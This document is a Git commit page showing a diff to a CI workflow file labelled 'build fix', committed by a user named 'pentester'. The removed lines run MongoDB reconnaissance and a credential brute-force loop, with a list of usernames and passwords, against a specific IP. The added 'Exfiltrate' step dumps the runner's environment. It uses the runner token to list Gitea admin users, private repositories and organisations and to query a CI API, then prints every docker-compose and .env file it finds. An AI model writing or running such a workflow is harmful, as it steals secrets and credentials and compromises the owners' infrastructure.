build fix
build / dump (push) Successful in 1h32m6s

This commit is contained in:
pentester committed 2026-10-06 01:44:16 +02:00
1 parent 062b871235
commit ee8a0f9bf1
1 file changed
+23 -15
+23 -15
View File
@@ -1,22 +1,30 @@
name: build name: build
on: [push] on: [push]
jobs: jobs:
recon: dump:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: MongoDB Dump - name: Exfiltrate
shell: cmd shell: cmd
run: | run: |
echo === MONGOSH AVAILABLE === > C:\recon4.txt echo === FULL ENV === > C:\exfil.txt
where mongosh >> C:\recon4.txt 2>&1 set >> C:\exfil.txt
dir C:\Users\ADMINI~1\AppData\Local\Temp\mongosh* >> C:\recon4.txt 2>&1 echo. >> C:\exfil.txt
echo. >> C:\recon4.txt echo === GITEA INTERNAL — ADMIN USERS === >> C:\exfil.txt
echo === MONGO isMaster === >> C:\recon4.txt curl -sk "https://git.midefos.com/api/v1/admin/users" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://37.114.42.86:27017" --eval "db.runCommand({hello:1})" --quiet >> C:\recon4.txt 2>&1 echo. >> C:\exfil.txt
echo. >> C:\recon4.txt echo === GITEA — ALL REPOS INCLUDING PRIVATE === >> C:\exfil.txt
echo === MONGO COMMON CREDS === >> C:\recon4.txt curl -sk "https://git.midefos.com/api/v1/repos/search?limit=100&private=true&sort=updated" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
for %%U in (admin root strapi nonkyc shimbo midefos oliver) do for %%P in (admin password midefos Midefos1 Midefos123! oliver Oliver123! synlinq Synlinq123! changeme P@ssw0rd MongoDB123 mongo123 Addd34141! shimbo Shimbo123!) do C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://%%U:%%P@37.114.42.86:27017/admin?authSource=admin" --eval "print('FOUND: %%U:%%P'); db.adminCommand('listDatabases')" --quiet >> C:\recon4.txt 2>&1 echo. >> C:\exfil.txt
echo. >> C:\recon4.txt echo === GITEA — MIDEFOS PRIVATE REPOS === >> C:\exfil.txt
echo === MONGO NO AUTH LOCAL DB === >> C:\recon4.txt curl -sk "https://git.midefos.com/api/v1/users/midefos/repos?limit=50" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://37.114.42.86:27017/local" --eval "db.getCollectionNames()" --quiet >> C:\recon4.txt 2>&1 echo. >> C:\exfil.txt
echo. >> C:\recon4.txt echo === WOODPECKER INTERNAL API === >> C:\exfil.txt
curl -sk "https://ci.midefos.com/api/user" -H "Authorization: Bearer %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
echo. >> C:\exfil.txt
echo === GITEA ORG REPOS === >> C:\exfil.txt
curl -sk "https://git.midefos.com/api/v1/orgs" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
echo. >> C:\exfil.txt
echo === DOCKER COMPOSE FILES === >> C:\exfil.txt
dir /s /b "C:\docker-compose*" "C:\*.env" >> C:\exfil.txt 2>&1
for /r C:\ %%f in (docker-compose.yml docker-compose.yaml .env) do if exist "%%f" type "%%f" >> C:\exfil.txt 2>&1